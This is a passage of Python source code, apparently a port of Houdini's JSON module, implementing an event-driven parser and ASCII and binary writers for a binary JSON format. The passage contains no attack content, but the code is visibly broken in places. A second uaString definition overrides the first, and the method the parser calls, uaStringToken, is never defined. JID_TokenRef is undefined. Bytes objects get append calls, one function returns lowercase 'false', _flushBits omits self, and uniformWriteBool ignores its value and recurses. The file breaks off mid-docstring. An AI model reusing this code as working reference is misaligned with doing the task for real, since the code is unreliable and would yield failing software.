JID_NULL = 0x00 JID_MAP_BEGIN = 0x7b JID_MAP_END = 0x7d JID_ARRAY_BEGIN = 0x5b JID_ARRAY_END = 0x5d JID_BOOL = 0x10 JID_INT8 = 0x11 JID_INT16 = 0x12 JID_INT32 = 0x13 JID_INT64 = 0x14 JID_REAL16 = 0x18 JID_REAL32 = 0x19 JID_REAL64 = 0x1a JID_UINT8 = 0x21 JID_UINT16 = 0x22 JID_STRING = 0x27 JID_FALSE = 0x30 JID_TRUE = 0x31 JID_TOKENDEF = 0x2b JID_TOKENREF = 0x26 JID_TOKENUNDEF = 0x2d JID_UNIFORM_ARRAY = 0x40 JID_KEY_SEPARATOR = 0x3a JID_VALUE_SEPARATOR = 0x2c JID_MAGIC = 0x7f ''' Magic number (and swapped version) for binary JSON files ''' BINARY_MAGIC = 0x624a534e BINARY_MAGIC_SWAP = 0x4e534a62 _ASCII_VALUE_SEPARATOR = ',' _ASCII_KEY_SEPARATOR = '\t:' class Handle: ''' The Handle class is used to handle events in a SAX style when parsing JSON files (see the Parser class). As the file is parsed, different callbacks are invoked. A subclass should override methods to process the JSON file. The ua* (Uniform Array) methods are an extension to binary JSON files. These methods, by default, will just invoke jsonBeginArray(), json*(), jsonEndArray(). However, it may be possible for some implementations of binary JSON to take advantage of these methods to pre-allocate data or batch process the load data. The ua* methods do not have to be implemented as their default implementation just calls the json* methods. Houdini HDK Equivalent: UT_JSONHandle ''' def jsonNull(self, parser): ''' Invoked on <null> token''' return True def jsonBool(self, parser, value): ''' Invoked on either <true> or <false> tokens.''' return True def jsonInt(self, parser, value): ''' binary JSON separates int/float values. This event is called when an integer value was parsed. ''' return True def jsonReal(self, parser, value): ''' binary JSON separates int/float values. This event is called when an integer value was parsed. ''' return True def jsonString(self, parser, value): ''' Invoked when a <string> is encountered (see jsonKey()) ''' return True def jsonKey(self, parser, value): ''' When processing a map, the jsonKey() method will be invoked when the key is read). ''' return True def jsonBeginMap(self, parser): ''' Invoked at beginning of a new map/object ''' return True def jsonEndMap(self, parser): ''' Invoked at the end of a map/object ''' return True def jsonBeginArray(self, parser): ''' Invoked at the beginning of a new array ''' return True def jsonEndArray(self, parser): ''' Invoked at the end of an array ''' return True def uaBool(self, parser, length): ''' In binary JSON files, uniform bool arrays are stored as bit streams. This method decodes the bit-stream, calling jsonBool() for each element of the bit array. ''' if not self.jsonBeginArray(parser): return False while length > 0: x = parser.readU32() if x == None: return False nbits = min(length, 32) length -= nbits for i in range(nbits): if not self.jsonBool(parser, x & (1 << i) != 0): return False return self.jsonEndArray(parser) def uniformArray(self, parser, length, method, callback): ''' Generic method to handle a uniform array ''' if not self.jsonBeginArray(parser): return False while length > 0: length -= 1 value = method() if value == None: return False if not callback(parser, value): return False return self.jsonEndArray(parser) def uaInt8(self, parser, length): ''' Read the next <length> bytes as singed 8-bit integer values ''' return self.uniformArray(parser, length, parser.readI8, self.jsonInt) def uaInt16(self, parser, length): ''' Read the next <length*2> bytes as singed 16-bit integer values ''' return self.uniformArray(parser, length, parser.readI16, self.jsonInt) def uaInt32(self, parser, length): ''' Read the next <length*4> bytes as singed 32-bit integer values ''' return self.uniformArray(parser, length, parser.readI32, self.jsonInt) def uaInt64(self, parser, length): ''' Read the next <length*8> bytes as singed 64-bit integer values ''' return self.uniformArray(parser, length, parser.readI64, self.jsonInt) def uaReal16(self, parser, length): ''' Read the next <length*2> bytes as singed 16-bit float values (see fpreal16.py) ''' return self.uniformArray(parser, length, parser.readF16, self.jsonReal) def uaReal32(self, parser, length): ''' Read the next <length*4> bytes as singed 32-bit float values ''' return self.uniformArray(parser, length, parser.readF32, self.jsonReal) def uaReal64(self, parser, length): ''' Read the next <length*8> bytes as singed 64-bit float values ''' return self.uniformArray(parser, length, parser.readF64, self.jsonReal) def uaUInt8(self, parser, length): ''' Read the next <length> bytes as unsinged 8-bit integer values ''' return self.uniformArray(parser, length, parser.readU8, self.jsonInt) def uaUInt16(self, parser, length): ''' Read the next <length*2> bytes as unsinged 16-bit integer values ''' return self.uniformArray(parser, length, parser.readU16, self.jsonInt) def uaString(self, parser, length): ''' Read the next <N> bytes as binary encoded string values ''' return self.uniformArray(parser, length, parser.binaryString, self.jsonString) def uaString(self, parser, length): ''' Read the next <N> bytes as binary encoded string token values ''' return self.uniformArray(parser, length, parser.binaryStringToken, self.jsonString) # # This is a list of the struct sizes and format strings used by binary loading # def _getIntFormat(size, swap=''): # Find the format string for 64 bit ints for f in [ 'b', 'h', 'i', 'l', 'q', 'qq' ]: if struct.calcsize(f) == size: return swap+f raise RuntimeError("No struct size for %d-bit integers found" % size*8) def _getUIntFormat(size, swap=''): return _getIntFormat(size, swap).upper() def _getRealFormat(size, swap=''): for f in [ 'h', 'f', 'd']: if struct.calcsize(f) == size: return f raise RuntimeError("No struct size for %d-bit floats found" % size*8) def _getByteSwap(): x = 'AB' h = struct.pack( '<h', struct.unpack('=h', x)[0] ) if h == 'AB': return '>' # < was the correct byte order, so return swapped order return '<' # > is byte swapped _INT_FORMATS = { JID_INT8 : (1, 0), # (bytes, index in format array) JID_INT16 : (2, 1), JID_INT32 : (4, 2), JID_INT64 : (8, 3), } _UINT_FORMATS = { JID_UINT8 : (1, 0), # (bytes, index in format array) JID_UINT16 : (2, 1), } _REAL_FORMATS = { JID_REAL16 : (2, 0), # (bytes, index in format array) JID_REAL32 : (4, 1), JID_REAL64 : (8, 2), } _NAN = { # Possible values for not-a-number or infinity 'nan' : True, 'inf' : True, 'infinity' : True, 'Nan' : True, 'Inf' : True, 'Infinity' : True, '1.#ind' : True, '1.#inf' : True, 'NAN' : True, 'INF' : True, 'INFINITY' : True, '1.#IND' : True, '1.#INF' : True, } class _jValue: ''' This class holds a JSON value which might be a map or array of additional JSON values. The class knows how to send events to the handle class. ''' def __init__(self, token, value): ''' Initialize _jValue ''' self.Token = token self.Value = value self.Type = None def event(self, parser, key=False): ''' Method invoked to send an event to a Handle. This invokes the appropriate callback on the handle. ''' handle = parser.Handle if self.Token == JID_STRING: if key: return handle.jsonKey(parser, self.Value) return handle.jsonString(parser, self.Value) if self.Token == JID_BOOL: return handle.jsonBool(parser, self.Value) if self.Token in {JID_INT8:1,JID_INT16:1,JID_INT32:1,JID_INT64:1}: return handle.jsonInt(parser, self.Value) if self.Token in {JID_UINT8:1,JID_UINT16:1}: return handle.jsonInt(parser, self.Value) if self.Token in {JID_REAL16:1,JID_REAL32:1,JID_REAL64:1}: return handle.jsonReal(parser, self.Value) if self.Token == JID_MAP_BEGIN: return handle.jsonBeginMap(parser) if self.Token == JID_MAP_END: return handle.jsonEndMap(parser) if self.Token == JID_ARRAY_BEGIN: return handle.jsonBeginArray(parser) if self.Token == JID_ARRAY_END: return handle.jsonEndArray(parser) if self.Token == JID_NULL: return handle.jsonNull(parser) if self.Token == JID_UNIFORM_ARRAY: if self.Type == JID_BOOL: return handle.uaBool(parser, self.Value) if self.Type == JID_INT8: return handle.uaInt8(parser, self.Value) if self.Type == JID_INT16: return handle.uaInt16(parser, self.Value) if self.Type == JID_INT32: return handle.uaInt32(parser, self.Value) if self.Type == JID_INT64: return handle.uaInt64(parser, self.Value) if self.Type == JID_REAL16: return handle.uaReal16(parser, self.Value) if self.Type == JID_REAL32: return handle.uaReal32(parser, self.Value) if self.Type == JID_REAL64: return handle.uaReal64(parser, self.Value) if self.Type == JID_UINT8: return handle.uaUInt8(parser, self.Value) if self.Type == JID_UINT16: return handle.uaUInt16(parser, self.Value) if self.Type == JID_STRING: return handle.uaString(parser, self.Value) if self.Type == JID_TokenRef: return handle.uaStringToken(parser, self.Value) return False class Parser: ''' The Parser class will parse an ASCII or binary JSON stream. The parse() method should be called with a "file" type object (one which has the read(bytes) method implemented). The second argument should be a Handle (which implements the appropriate json* methods. Houdini HDK Equivalent: UT_JSONParser ''' def __init__(self): ''' Initializer ''' self.Handle = None self.ParseError = False self.Stream = None self.Errors = [] self.Stack = [] self.Tokens = {} self.State = _STATE_START self.Binary = False self.ReadCount = 0 self.IFormats = list(map(_getIntFormat, [1,2,4,8])) self.UFormats = list(map(_getUIntFormat, [1,2,4,8])) self.FFormats = list(map(_getRealFormat, [2,4,8])) self.Peek = None def parse(self, fp, h): ''' Parse a single object out of a JSON stream. @param fp This is a file object which has the \c read(bytes) method @param h This is a Handle object which implements the json* methods ''' saveStream = self.Stream saveHandle = self.Handle saveParseError = self.ParseError if h: self.Handle = h if fp: self.Stream = fp result = self._parseStream() if self.ParseError: result = False self.Handle = saveHandle self.Stream = saveStream self.ParseError = saveParseError return result def _parseStream(self): ''' Parse the JSON state stream ''' stack = 0 while True: if self.State == _STATE_COMPLETE: return True push = None popped = False t = self._readToken() if not t: return False if self.State in [_STATE_START, _STATE_MAP_NEED_VALUE, _STATE_ARRAY_NEED_VALUE, _STATE_ARRAY_START]: if t.Token in [JID_STRING, JID_BOOL, JID_NULL, JID_INT64, JID_REAL64, JID_UNIFORM_ARRAY]: pass elif t.Token == JID_MAP_BEGIN: push = _STATE_MAP_START elif t.Token == JID_ARRAY_BEGIN: push = _STATE_ARRAY_START elif t.Token == JID_ARRAY_END: if self.State not in [_STATE_ARRAY_START, _STATE_ARRAY_NEED_VALUE]: self.error('Unexpected array end token') return False if not self._popState(): return False stack -= 1 popped = True elif t.Token == JID_MAP_END: if self.State != _STATE_MAP_START: self.error('Unexpected map end token') return False if not self._popState(): return False stack -= 1 popped = True elif t.Token in [JID_KEY_SEPARATOR, JID_VALUE_SEPARATOR]: self.error('Invalid separator token in parsing') return False else: self.error('Invalid parsing token') return False if push: self.Stack.append(push) self._setState(push) stack += 1 elif not popped: if self.State == _STATE_START: self._setState(_STATE_COMPLETE) elif self.State == _STATE_MAP_NEED_VALUE: self._setState(_STATE_MAP_GOT_VALUE) else: self._setState(_STATE_ARRAY_GOT_VALUE) if not t.event(self): return False if stack == 0: return True elif self.State in [_STATE_MAP_START, _STATE_MAP_NEED_KEY]: if t.Token == JID_STRING: self._setState(_STATE_MAP_SEP) if not t.event(self, key=True): return False if stack == 0: return True elif t.Token == JID_MAP_END: if self.State in [_STATE_MAP_START, _STATE_MAP_NEED_KEY]: if not self._popState(): return False if not t.event(self): return False stack -= 1 if stack == 0: return True else: self.error("Missing map key (need string)") elif self.State == _STATE_MAP_SEP: if t.Token == JID_KEY_SEPARATOR: self._setState(_STATE_MAP_NEED_VALUE) else: self.error("Key/value must be separated by a colon(':')") elif self.State == _STATE_MAP_GOT_VALUE: if t.Token == JID_MAP_END: if not self._popState(): return False if not t.event(self): return False stack -= 1 if stack == 0: return True elif t.Token == JID_VALUE_SEPARATOR: self._setState(_STATE_MAP_NEED_KEY) else: self.error("Expected comma(',') or close brace('}') in map") return False elif self.State == _STATE_ARRAY_GOT_VALUE: if t.Token == JID_ARRAY_END: if not self._popState(): return False if not t.event(self): return False stack -= 1 if stack == 0: return True elif t.Token == JID_VALUE_SEPARATOR: self._setState(_STATE_ARRAY_NEED_VALUE) else: self.error( "Expected comma(',') or close bracket(']') in array") return False else: self.error("Unexpected parsing state") return False def _setState(self, state): ''' Change the state of the parser ''' if self.Binary: if state == _STATE_MAP_GOT_VALUE: state = _STATE_MAP_NEED_KEY elif state == _STATE_MAP_SEP: state = _STATE_MAP_NEED_VALUE elif state == _STATE_ARRAY_GOT_VALUE: state = _STATE_ARRAY_NEED_VALUE self.State = state try: self.Stack[ len(self.Stack)-1 ] = state except: self.error('Stack error processing stream') self.ParseError = True def _popState(self): ''' Restore the state ''' n = len(self.Stack) if n < 1: return False self.Stack.pop() if n == 1: self.State = _STATE_COMPLETE else: self.State = self.Stack[n-2] if self.State in [_STATE_MAP_NEED_VALUE, _STATE_MAP_START]: self._setState(_STATE_MAP_GOT_VALUE) elif self.State in [_STATE_ARRAY_NEED_VALUE, _STATE_ARRAY_START]: self._setState(_STATE_ARRAY_GOT_VALUE) return True def _swapFormats(self): ''' Make binary struct format strings ''' swap = _getByteSwap() self.IFormats = map(_getIntFormat, [1,2,4,8], [swap]*4) self.UFormats = map(_getUIntFormat, [1,2,4,8], [swap]*4) self.FFormats = map(_getRealFormat, [2,4,8], [swap]*3) def error(self, msg): ''' Simple method to append an error/warning message to the list ''' self.Errors.append('JSON Parsing[%d]: %s' % (self.ReadCount, msg)) def _putBack(self, c): ''' Put back a byte into the stream ''' self.Peek = c def _readBytes(self, n): ''' Read n bytes from the stream ''' if self.Peek: v = self.Peek self.Peek = None v1 = self._readBytes(n-1) if v1 == None: return None return v+v1 else: self.ReadCount += n v = self.Stream.read(n) if len(v) != n: self.error('Read %d bytes past end of stream'%(len(v)-n)) return None return v def _readUnpacked(self, size, format): ''' Read a string of size bytes and unpack it using the format given ''' s = self._readBytes(size) if s != None: s = struct.unpack(format, s)[0] return s def readU8(self): ''' Read next byte as a binary unsigned 8-bit integer ''' return self._readUnpacked(1, self.UFormats[0]) def readU16(self): ''' Read next 2 bytes as a binary unsigned 16-bit integer. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(2, self.UFormats[1]) def readU32(self): ''' Read next 4 bytes as a binary unsigned 32-bit integer. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(4, self.UFormats[2]) def readI8(self): ''' Read next byte as a binary signed 8-bit integer ''' return self._readUnpacked(1, self.IFormats[0]) def readI16(self): ''' Read next 2 bytes as a binary signed 16-bit integer. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(2, self.IFormats[1]) def readI32(self): ''' Read next 4 bytes as a binary signed 32-bit integer. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(4, self.IFormats[2]) def readI64(self): ''' Read next 8 bytes as a binary signed 64-bit integer. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(8, self.IFormats[3]) def readF32(self): ''' Read next 4 bytes as a binary 32-bit float. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(4, self.FFormats[1]) def readF64(self): ''' Read next 8 bytes as a binary 64-bit float. Byte swapping is performed depending on endianness of the file.''' return self._readUnpacked(8, self.FFormats[2]) def readF16(self): ''' Read next 2 bytes as a binary 32-bit float (see fpreal16.py) Byte swapping is performed depending on endianness of the file. ''' # 16-bit floats require additional conversion f = self._readUnpacked(2, self.FFormats[0]) if f != None: f = fpreal16.ItoF16(f) return f def binaryString(self): ''' A binary string is encoded by storing it's length (encoded) followed by the string data. The trailing <null> character is not stored in the file. ''' l = self.readLength() if l == None: return None return self._readBytes(l) def binaryStringToken(self): ''' Common strings may be encoded using a shared string table. Each string token defined (defineToken()) is given an integer "handle" which can be used to reference the token. Reating a token involves reading the integer handle and looking up the value in the Tokens map. ''' id = self.readLength() if id == None: return None return self.Tokens.get(id, None) def readLength(self): ''' In the binary format, length is encoded in a multi-byte format. For lenthgs < 0xf1 (240) the lenths are stored as a single byte. If the length is longer than 240 bytes, the value of the first byte determines the number of bytes that follow used to store the length. Currently, the only supported values for the binary byte are: 0xf2 = 2 bytes (16 bit unsigned length) 0xf4 = 4 bytes (32 bit unsigned length) 0xf8 = 8 bytes (64 bit signed length) Other values (i.e. 0xf1 or 0xfa) are considered errors. ''' n = self.readU8() if n != None: if n < 0xf1: return n if n == 0xf2: return self.readU16() if n == 0xf4: return self.readU32() if n == 0xf8: return self.readI64() # Signed 64 bit int self.error('Invalid binary length encoding: 0x%02x' % n) return None def defineToken(self): ''' Read an id followed by an encoded string. There is no handle callback, but rather, the string is stored in the shared string Token map. ''' id = self.readLength() if id != None: s = self.binaryString() if s != None: self.Tokens[id] = s return True return False def undefineToken(self): ''' Remove a string from the shared string Token map. ''' id = self.readLength() if id != None and self.Tokens.has_key(id): del self.Tokens[id] def _binaryToken(self, token): ''' Read a binary token (returns a _jValue or None) ''' while token == JID_TOKENDEF or token == JID_TOKENUNDEF: if token == JID_TOKENDEF: if not self.defineToken(): return None else: if not self.undefineToken(): return None token = self.readI8() if token in { JID_NULL:1, JID_MAP_BEGIN:1, JID_MAP_END:1, JID_ARRAY_BEGIN:1, JID_ARRAY_END:1 }: return _jValue(token, None) if token == JID_BOOL: byte = self.readI8() if byte == None: return None return _jValue(token, byte != 0) if token == JID_FALSE: return _jValue(JID_BOOL, False) if token == JID_TRUE: return _jValue(JID_BOOL, True) if token in _INT_FORMATS: f = _INT_FORMATS[token] v = self._readUnpacked(f[0], self.IFormats[f[1]]) if v == None: return None return _jValue(JID_INT64, v) if token in _UINT_FORMATS: f = _UINT_FORMATS[token] v = self._readUnpacked(f[0], self.UFormats[f[1]]) if v == None: return None return _jValue(JID_INT64, v) if token in _REAL_FORMATS: f = _REAL_FORMATS[token] v = self._readUnpacked(f[0], self.FFormats[f[1]]) if v == None: return None if token == JID_REAL16: v = fpreal16.ItoF16(v) return _jValue(JID_REAL64, v) if token == JID_STRING: v = self.binaryString() if v == None: return None return _jValue(JID_STRING, v) if token == JID_TOKENREF: v = self.binaryStringToken().decode("UTF-8") if v == None: return None return _jValue(JID_STRING, v) if token == JID_UNIFORM_ARRAY: byte = self.readI8() # Read the type information if byte == None: return None length = self.readLength() if length == None: return None v = _jValue(JID_UNIFORM_ARRAY, length) v.Type = byte return v self.error("Invalid binary token: 0x%02x" % token) return None def _readQuotedString(self): ''' Read a quoted string one character at a time ''' word = b"" while True: c = self._readBytes(1) if c == None: self.error('Missing end-quote for string') return None if c == b'\\': c = self._readBytes(1) if c in b'"\\/': word.append(c) elif c == b'b': word.append('\b') elif c == b'f': word.append('\f') elif c == b'n': word.append('\n') elif c == b'r': word.append('\r') elif c == b't': word.append('\t') elif c == b'u': if self._readBytes(4) == None: return False self.error('UNICODE string escape not supported') else: word.append('\\') word.append(c) elif c == b'"': return word.decode("UTF-8") else: word += c def _readNumber(self, char): ''' Catch-all parsing method which handles - null - true - false - numbers Any unquoted string which doesn't match the null, true, false tokens is considered to be a number. We throw warnings on non-number values, but set the value to 0. This is not ideal since a NAN or infinity is not preserved. Other implementations may choose to handle this differently. ''' #word = [] word = b'' real = False while True: #word.append(char) word += char char = self._readBytes(1) if char == None: break if char in b' \r\n\t/{}[],:"': self._putBack(char) break if char in b'.eE': real = True if len(word) == 0: return None word = word.decode("UTF-8") #word = ''.join(word) if word == 'null': return _jValue(JID_NULL, None) if word == 'false': return _jValue(JID_BOOL, False) if word == 'true': return _jValue(JID_BOOL, True) if word in _NAN: # This is a special nan/infinity token. # 1e1000 turns into an # infinity in Python (2.5 at least). return _jValue(JID_REAL64, 1e1000) if real: try: n = float(word) except: n = 0 self.error('Error converting real: "%s"' % word) self.ParseError = True return _jValue(JID_REAL64, n) try: n = int(word) except: n = 0 self.error('Error converting int: "%s"' % word) self.ParseError = True return _jValue(JID_INT64, n) def _asciiToken(self, char): ''' Read an ASCII token (returns a _jValue or None) ''' while char in b' \r\n\t': char = self._readBytes(1) if char == None: return None if char == b'/': char = self._readBytes(1) if char == b'/': # We support // style comments while char != None: char = self._readBytes(1) if char == b'\n' or char == b'\r': return self._readToken() return None if char == b'{': return _jValue(JID_MAP_BEGIN, None) if char == b'}': return _jValue(JID_MAP_END, None) if char == b'[': return _jValue(JID_ARRAY_BEGIN, None) if char == b']': return _jValue(JID_ARRAY_END, None) if char == b',': return _jValue(JID_VALUE_SEPARATOR, None) if char == b':': return _jValue(JID_KEY_SEPARATOR, None) if char == b'"': v = self._readQuotedString() if v == None: return None return _jValue(JID_STRING, v) return self._readNumber(char) def _readToken(self): ''' Read a single token from the JSON Stream ''' char = self._readBytes(1) if char == None: return False; byte = struct.unpack(self.UFormats[0], char)[0] if byte == JID_MAGIC: magic = self.readU32() if magic == None: return False if magic == BINARY_MAGIC: self.Binary = True elif magic == BINARY_MAGIC_SWAP: self.Binary = True self._swapFormats() else: self.error('Bad magic number 0x%08x' % magic) return False return self._readToken() if self.Binary: return self._binaryToken(byte) else: return self._asciiToken(char) class _bWriter: ''' Binary JSON Writer ''' def __init__(self, fp, options): self.Fp = fp self.UseTokens = options.get('usetokens', True) self.Tokens = {} self.TokenCount = 0 self.I8 = _getIntFormat(1) self.I16 = _getIntFormat(2) self.I32 = _getIntFormat(4) self.I64 = _getIntFormat(8) self.U8 = _getUIntFormat(1) # For packed bit array/lengths self.U16 = _getUIntFormat(2) # For packed bit array/lengths self.U32 = _getUIntFormat(4) # For packed bit array/lengths self.U64 = _getUIntFormat(8) # For packed bit array/lengths self.F16 = _getRealFormat(2) self.F32 = _getRealFormat(4) self.F64 = _getRealFormat(8) self.WriteSize = 0 self.WriteCount = 0 self.BitCount = 0 self.BitValue = 0 self.UType = JID_NULL self.jsonKey = self.jsonString self.jsonKeyToken = self.jsonStringToken def jsonMagic(self): if self._writeId(JID_MAGIC): return self._writeData( struct.pack( self.U32, BINARY_MAGIC ) ) return False def jsonNull(self): return self._writeId(JID_NULL) def jsonBool(self, value): return self._writeId([JID_TRUE, JID_FALSE][not value]) def jsonInt(self, value): if value >= -0x80 and value < 0x80: id = JID_INT8 data = struct.pack(self.I8, value) elif value >= -0x8000 and value < 0x8000: id = JID_INT16 data = struct.pack(self.I16, value) elif value >= -0x80000000 and value < 0x80000000: id = JID_INT32 data = struct.pack(self.I32, value) else: id = JID_INT64 data = struct.pack(self.I64, value) if self._writeId(id): return self._writeData(data) return False def jsonReal16(self, value): ''' This implementation does not handle generation of 16 bit reals ''' return self.jsonReal32(self, value) def jsonReal32(self, value): if self._writeId(JID_REAL32): return self._writeData( struct.pack(self.F32, value ) ) return False def jsonReal64(self, value): if self._writeId(JID_REAL64): return self._writeData( struct.pack(self.F64, value ) ) return False def jsonString(self, value): if self._writeId(JID_STRING): if self._writeLength(len(value)): return self._writeData(value) return false def jsonStringToken(self, value): if not self.UseTokens: return self.jsonString(value) id = self.Tokens.get(value, -1) if id < 0: id = self.TokenCount self.Tokens[value] = id self.TokenCount += 1 if not self._writeId(JID_TOKENDEF): return False if not self._writeLength(id): return False if not self._writeLength(len(value)): return False if not self._writeData(value): return False if self._writeId(JID_TOKENREF): return self._writeLength(id) return False def jsonNewLine(self): pass def jsonBeginMap(self): return self._writeId(JID_MAP_BEGIN) def jsonEndMap(self): return self._writeId(JID_MAP_END) def jsonBeginArray(self): return self._writeId(JID_ARRAY_BEGIN) def jsonEndArray(self): return self._writeId(JID_ARRAY_END) def beginUniformArray(self, length, jid_type): if jid_type == JID_REAL16: # Writing of 16-bit floats is not supported in this version jid_type = JID_REAL32 if not self._startArray(JID_UNIFORM_ARRAY, jid_type): return False self.BitCount = 0 self.BitValue = 0 self.WriteSize = length self.WriteCount = 0 self.UType = jid_type return self._writeLength(length) def uniformWriteBool(self, value): self.BitValue |= (1 << self.BitCount) self.BitCount += 1 if self.BitCount == 32: return self._flushBits() return self.Writer.uniformWriteBool(value) def uniformWriteInt8(self, value): return self._uniformData( struct.pack(self.I8, value) ) def uniformWriteInt16(self, value): return self._uniformData( struct.pack(self.I16, value) ) def uniformWriteInt32(self, value): return self._uniformData( struct.pack(self.I32, value) ) def uniformWriteInt64(self, value): return self._uniformData( struct.pack(self.I64, value) ) def uniformWriteReal16(self, value): # 16-bit real not supported in this version return self.uniformWriteReal32(value) def uniformWriteReal32(self, value): return self._uniformData( struct.pack(self.F32, value) ) def uniformWriteReal64(self, value): return self._uniformData( struct.pack(self.F64, value) ) def endUniformArray(self): nwritten = self.WriteCount while self.WriteCount < self.WriteSize: if self.UType == JID_BOOL: self.uniformWriteBool(False) elif self.UType == JID_INT8: self.uniformWriteInt8(0) elif self.UType == JID_INT16: self.uniformWriteInt16(0) elif self.UType == JID_INT32: self.uniformWriteInt32(0) elif self.UType == JID_INT64: self.uniformWriteInt64(0) elif self.UType == JID_REAL32: self.uniformWriteReal32(0) elif self.UType == JID_REAL64: self.uniformWriteReal64(0) else: return False if self.UType == JID_BOOL and self.BitCount: if not self._flushBits(): return False if not self._finishArray(self.UType): return False self.UType = JID_NULL self.WriteCount = 0 self.WriteSize = 0 return True def _startArray(self, id, uniform_type=JID_NULL): if self._writeId(id): if id == JID_UNIFORM_ARRAY: return self._writeId(uniform_type) return True return False def _finishArray(self, id): if id == JID_ARRAY_BEGIN: # Only emit the end-array when non-uniform arrays return self._writeId(JID_ARRAY_END) return True def _uniformData(self, data): self.WriteCount += 1 if self.WriteCount > self.WriteSize: return True return self._writeData( data ) def _flushBits(self): data = struct.pack( self.U32, self.BitValue) if not _writeData( data ): return False self.BitCount = 0 self.BitValue = 0 return True def _writeId(self, id): return self._writeData( struct.pack(self.U8, id) ) def _writeLength(self, l): if l < 0xf1: return self._writeData( struct.pack(self.U8, l) ) if l < 0xffff: if self._writeData( struct.pack(self.U8, 0xf2) ): return self._writeData( struct.pack(self.U16, l) ) return False if l < 0xffffffff: if self._writeData( struct.pack(self.U8, 0xf4) ): return self._writeData( struct.pack(self.U32, l) ) return False if self._writeData( struct.pack(self.U8, 0xf8) ): return self._writeData( struct.pack(self.U64, l) ) return False def _writeData(self, data): self.Fp.write(data) return True _ESCAPE_DICT = { '\\' : '\\\\', '"' : '\\"', '\b' : '\\b', '\f' : '\\f', '\n' : '\\n', '\r' : '\\r', '\t' : '\\t', } #_ESCAPE = re.compile(r'[\x00-\x1f\\"\b\f\n\r\t']) _ESCAPE = re.compile(r'[\x00-\x1f\\"\b\f\n\r\t]') for _i in range(0x20): _ESCAPE_DICT[chr(_i)] = '\\u%04x' % _i def _quoteString(s): ''' Quote a string using JSON rules ''' def replace(m): return _ESCAPE_DICT[m.group(0)] return ''.join([ '"', _ESCAPE.sub(replace, s), '"' ]) class _aWriter: ''' ASCII JSON Writer ''' def __init__(self, fp, options): self.Fp = fp self.Precision = options.get('precision', 12) self.IndentStep = options.get('indentstep', 8) self.FirstMap = False self.Indent = 0 self.IndentString = '' self.Prefix = None self.Stack = [] self.NewLine = False self.jsonReal16 = self.jsonReal self.jsonReal32 = self.jsonReal self.jsonReal64 = self.jsonReal self.jsonStringToken = self.jsonString self.jsonKeyToken = self.jsonKey self.uniformWriteBool = self.jsonBool self.uniformWriteInt8 = self.jsonInt self.uniformWriteInt16 = self.jsonInt self.uniformWriteInt32 = self.jsonInt self.uniformWriteInt64 = self.jsonInt self.uniformWriteReal16 = self.jsonReal self.uniformWriteReal32 = self.jsonReal self.uniformWriteReal64 = self.jsonReal self.endUniformArray = self.jsonEndArray def jsonNull(self): self._prefix() return self._writeString('null') def jsonBool(self, value): self._prefix() return self._writeString(['true', 'false'][not value]) def jsonInt(self, value): self._prefix() return self._writeString('%d' % value) def jsonReal(self, value): self._prefix() return self._writeString('%.*g' % (self.Precision, value)) def jsonString(self, value): self._prefix() return self._quotedString(value) def jsonKey(self, value): if self.FirstMap: self._writeString('\n') self.FirstMap = False self._prefix() self._indent() self.Prefix = None if not self._quotedString(value): return False return self._writeString(_ASCII_KEY_SEPARATOR) def jsonNewLine(self): self.NewLine = True def jsonBeginMap(self): self.FirstMap = True self._prefix() self._pushState(JID_MAP_BEGIN) return self._writeString('{') def jsonEndMap(self): self._popState() if not self.FirstMap: if not self._writeString('\n'): return False self._indent() self.FirstMap = False return self._writeString(['}', '}\n'][len(self.Stack) == 0]) def jsonBeginArray(self): self._prefix() self._pushState(JID_ARRAY_BEGIN) return self._writeString('[') def jsonEndArray(self): self._popState() if self._writeString(']'): if len(self.Stack) == 0: return self._writeString('\n') return True return False def beginUniformArray(self, len, type): return self.jsonBeginArray() def _setPrefix(self): n = len(self.Stack) - 1 if n >= 0: id = self.Stack[n] self.Prefix = [ ',', ',\n'][id == JID_MAP_BEGIN] def _indent(self): return self._writeString(self.IndentString) def _prefix(self): if not self.Prefix: self._setPrefix() else: self._writeString(self.Prefix) if self.NewLine: if self.Prefix.find('\n') < 0: self._writeString('\n\t') self._indent() self.NewLine = False return True def _writeString(self, data): return self.Fp.write( data ) != len(data) def _quotedString(self, data): return self._writeString( _quoteString(data) ) def _pushState(self, id): self.Indent += self.IndentStep self.IndentString = '\t'*(self.Indent//8) + ' '*(self.Indent%8) self.Stack.append(id) self.Prefix = None def _popState(self): if len(self.Stack) < 1: print('Stack underflow') return False self.Stack.pop() self.Indent -= self.IndentStep self.IndentString = '\t'*(self.Indent//8) + ' '*(self.Indent%8) self._setPrefix() class Writer: def __init__(self, fp, binary=False, precision=12, indentstep=8, usetokens=True ): ''' A class to write JSON (ASCII or binary). Very minimal error detection is performed. @param fp An object that has the write() method defined @param binary Write stream in binary as opposed to ASCII @param precision ASCII format floating point precision @param indentstep ASCII format indenting on map objects @param usetokens Binary format optimization to use string tokens Houdini HDK Equivalent: UT_JSONWriter ''' self.Fp = fp self.Options = {} self.Options['precision'] = precision self.Options['indentstep'] = indentstep self.Options['usetokens'] = usetokens if binary: self.Binary = True self.Writer = _bWriter(self.Fp, self.Options) self.Writer.jsonMagic() else: self.Binary = False self.Writer = _aWriter(self.Fp, self.Options) def jsonNull(self): ''' Emit a null token ''' return self.Writer.jsonNull() def jsonBool(self, value): ''' Emit a true/false token ''' return self.Writer.jsonBool(value) def jsonInt(self, value): ''' Emit an integer value ''' return self.Writer.jsonInt(value) def jsonReal16(self, value): ''' Emit a 16 bit real value ''' return self.Writer.jsonReal16(value) def jsonReal32(self, value): ''' Emit a 32 bit real value ''' return self.Writer.jsonReal32(value) def jsonReal64(self, value): ''' Emit a 64 bit real value ''' return self.Writer.jsonReal64(value) def jsonReal(self, value): ''' Emit a real value ''' return self.jsonReal64(value) def jsonString(self, value): ''' Emit string value. Please use jsonStringToken() instead ''' return self.Writer.jsonString(value) def jsonStringToken(self, value): ''' Emit a string token (or string value depending on whether tokens are enabled) ''' return self.Writer.jsonStringToken(value) def jsonKey(self, value): ''' Emit string as a map key. Please use jsonKeyToken() instead ''' return self.Writer.jsonKey(value) def jsonKeyToken(self, value): ''' Emit a string token as a map key (may output a string value depending on whether tokens are enabled) ''' return self.Writer.jsonKeyToken(value) def jsonNewLine(self): ''' Emit a new-line or 